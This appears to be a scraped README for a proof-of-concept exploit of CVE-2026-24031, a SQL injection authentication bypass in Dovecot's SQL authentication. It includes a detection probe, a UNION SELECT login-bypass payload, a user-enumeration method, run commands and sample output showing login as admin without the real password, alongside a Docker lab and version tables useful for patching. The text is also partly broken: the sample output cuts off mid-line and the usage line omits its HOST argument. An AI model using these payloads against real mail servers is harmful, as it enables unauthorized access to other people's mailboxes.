## https://sploitus.com/exploit?id=C2DDD3F6-39DD-5DC1-955F-1D18E63CAB1D
# CVE-2026-24031: Dovecot SQL authentication bypass (authentication + user enumeration)
This repository contains a proof-of-concept authentication-bypass exploit for
**CVE-2026-24031**, a SQL injection in Dovecot's SQL-based authentication
introduced as a regression in Dovecot 2.4.0 / 3.1.0. In the tested Docker lab
(Dovecot 2.4.0 + PostgreSQL), the PoC logs in as **any user without knowing
their real password**, and can also enumerate users.
> **Warning**
>
> This PoC performs an unauthenticated authentication bypass against a mail
> server. Use it only against a lab you own or against targets you are
> explicitly authorized to test. It does not modify the server's state, but it
> will exercise authentication and may leave failed-login entries in logs.
## Vulnerability summary
Dovecot SQL-based authentication is vulnerable when the administrator clears
the `auth_username_chars` configuration directive (sets it to an empty value).
`auth_username_chars` normally acts as an input filter that restricts which
characters are allowed in a username *before* the username is interpolated
into the SQL passdb query.
With `auth_username_chars = ` empty, the value is passed through to the query
**without** `sql_escape_string()`. A crafted username containing SQL
metacharacters therefore becomes part of the query:
```sql
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
```
The following payload makes the query return a row for `VICTIM` with a
password chosen by the attacker:
```
' UNION SELECT 'VICTIM','{PLAIN}12345' --
```
`{PLAIN}` is parsed by Dovecot (not by the database), so the password scheme
is handled natively and the trick works on pgsql, mysql, mariadb and sqlite.
Sending `12345` as the password then matches, yielding `LOGIN OK` as `VICTIM`
without knowing the real password.
The resulting query is:
```sql
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
```
## Affected and fixed versions
This is a **regression introduced in Dovecot 2.4.0** and also present in
3.1.0. Earlier 2.2.x / 2.3.x releases escape the username and are not
vulnerable. The flaw is fixed in 2.4.3 and 3.1.4 (OXDC-ADV-2026-0001,
DOV-8781).
| Line | Status |
| --- | --- |
| Dovecot 2.2.x | Not affected (username is escaped) |
| Dovecot 2.3.x | Not affected (username is escaped) |
| Dovecot 2.4.0 | **Vulnerable** (regression: username not escaped) |
| Dovecot 2.4.3+ | Fixed (username is escaped) |
| Dovecot 3.1.0 | **Vulnerable** (same regression) |
| Dovecot 3.1.4+ | Fixed (username is escaped) |
The vulnerability only applies when **all** of these hold:
- Dovecot 2.4.0 or 3.1.0;
- a SQL passdb (`driver = sql`) using `pgsql`, `mysql`, `mariadb` or `sqlite`;
- `auth_username_chars = ` (empty) β the trigger condition set by the
administrator;
- network reachability to the IMAP / POP3 / ManageSieve service (TLS or not).
The PoC was validated against Dovecot **2.4.0** (official release tag,
`daeb6bc5`) + PostgreSQL.
## Exploitation process
### 1. Detect the no-escape condition
Authenticate with username `' OR '1'='1' -- ` and an arbitrary password. On a
vulnerable server the query is altered, so Dovecot returns
`a1 NO [UNAVAILABLE] Temporary authentication failure.` instead of the classic
`AUTHENTICATIONFAILED`. This is the fingerprint that the username reached the
SQL query unescaped.
### 2. Bypass authentication with UNION SELECT
Authenticate with username:
```
' UNION SELECT 'VICTIM','{PLAIN}12345' --
```
and password `12345`. The UNION row overrides the `password` column for
`VICTIM`, and `{PLAIN}` is parsed by Dovecot, so the password check succeeds.
### 3. User enumeration
Because the query result shape differs between "user exists" and "user does
not exist" (row count and response status), the server leaks whether a
username exists. This works against every affected backend.
## Building and running the PoC
The PoC is a self-contained Python 3 script (standard library only). Start the
vulnerable lab and run the exploit:
```sh
./run.sh
```
`run.sh` builds and starts the Docker lab (`lab/docker-compose.yml`), waits
for IMAPS on `127.0.0.1:14193`, then runs the PoC. The lab builds Dovecot
2.4.0 from the official release tarball with an intentionally vulnerable
configuration and a PostgreSQL database.
Equivalent manual steps:
```sh
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
```
PoC options:
```
python3 cve-2026-24031-poc.py [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
```
The lab database seeds these users: `admin/admin123`, `alice/alicepass`,
`bob/bobpass`, `postmaster/postpass`, and `victim/supersecret`. The PoC
impersonates `admin` without knowing its password.
## Reproduced results
The PoC was validated end-to-end in the Docker lab. The `admin` user's real
password is `admin123`; the PoC logs in as `admin` using `12345`.
```
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED `
(Twitter: [@aramosf](https://twitter.com/aramosf)).
## About
CVE-2026-24031 Dovecot SQL authentication bypass (authentication bypass + user enumeration) PoC